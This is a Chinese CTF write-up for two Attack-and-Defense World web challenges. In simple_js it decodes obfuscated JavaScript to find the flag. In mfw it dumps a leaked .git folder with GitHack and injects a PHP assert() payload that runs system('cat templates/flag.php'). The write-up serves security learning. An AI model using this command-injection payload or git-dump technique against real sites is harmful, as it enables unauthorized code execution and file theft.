【攻防世界WEB】难度三星9分:simple_js、mfw

举报
黑色地带(崛起) 发表于 2023/01/27 21:35:49 2023/01/27
【摘要】 【攻防世界WEB】难度三星9分:simple_js、mfw

前言:

介绍: 

博主:网络安全领域狂热爱好者。

殊荣:华为云博主、CSDN网络安全领域优质创作者(CSDN:黑色地带(崛起)),2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。

擅长:对于技术、工具、漏洞原理、黑产打击的研究。


导读:

面向读者:对于网络安全方面的学者。


 目录

一、simple_js

解题方法:

过程:

二、mfw

解题方法:

过程:





一、simple_js


编辑



解题方法:

1、理解php代码




过程:

输入框中输入密码后

编辑

 编辑

Ctrl+U查看源码

<html>
<head>
    <title>JS</title>
    <script type="text/javascript">
    function dechiffre(pass_enc){
        var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
        var tab  = pass_enc.split(',');
                var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                        k = j + (l) + (n=0);
                        n = tab2.length;
                        for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
                                if(i == 5)break;}
                        for(i = (o=0); i < (k = j = n); i++ ){
                        o = tab[i-l];
                                if(i > 5 && i < k-1)
                                        p += String.fromCharCode((o = tab2[i]));
                        }
        p += String.fromCharCode(tab2[17]);
        pass = p;return pass;
    }
    String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
    h = window.prompt('Enter password');
    alert( dechiffre(h) );
</script>
</head>
</html>

1、function定义了一个函数
2、被切为2部分
3、o=tab[i-1]无效,会被后面o=tab2[i]的值覆盖
4、tab数组、输入参数都没有用到

5、tab2数组的值覆盖了tab的值,输入什么密码都没用


获取信息:

dechiffre():将 Unicode 编码转为一个字符

fromCharCode(): 可接受一个指定的 Unicode 值,然后返回一个字符串

10进制的字符:

70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65

16进制的字符:

 \x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30

    var n=String.fromCharCode(55,56,54,79,115,69,114,116,107,49,50);
	    document.write(n);
	var m=String.fromCharCode(70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65);
		document.write(m);

786OsErtk12

FAUX PASSWORD HAHA


或者:

php运行

<?php
$a='\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30';
$b=str_replace('\x','',$a);
echo hex2bin($b);
?>

编辑

55,56,54,79,115,69,114,116,107,49,50



python运行
a=[55,56,54,79,115,69,114,116,107,49,50]
b=""
for i in a:
	c=chr(i)
	b=b+c
print(b)

编辑

786OsErtk12



编辑

 FAUX PASSWORD HAHA

(人造密码哈哈)

编辑



题目提示(Flag格式为 Cyberpeace{xxxxxxxxx} )

所以flag为

Cyberpeace{786OsErtk12}




二、mfw

编辑



解题方法:

1、.git源码泄露




过程:

点进去发现只有这一个

编辑

尝试是否存在git泄露

编辑

存在git泄露





使用python2.7(我不想全局环境换来换去,直接在python2.7文件夹运行)

GitHack:GitHub - lijiejie/GitHack: A `.git` folder disclosure exploit https://github.com/lijiejie/GitHack

语法:python GitHack.py http://www.openssl.org/.git/

我写的是GitHack.py的绝对路径

PS C:\Python27> python D:\BaiduNetdiskDownload\shenji\GitHack-master\GitHack.py http://61.147.171.105:62321/.git/

编辑

编辑

编辑

编辑


 打开flag.php

也没发现flag

编辑


 源码审计一波

编辑

自己看发现没有做任何的过滤,考虑试一试注入 




payload:

?page=').system('cat templates/flag.php');//

')闭合前面的strpos函数,//注释掉后面的

注入进去以后就是

assert("strpos('templates/').system('cat templates/flag.php');//.php', '..') === false") or die("Detected hacking attempt!");

编辑

想到了flag.php

会不会是在代码里

Ctrl+U查看源码,或者使用bp抓包,不会错过许多细节

编辑





【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。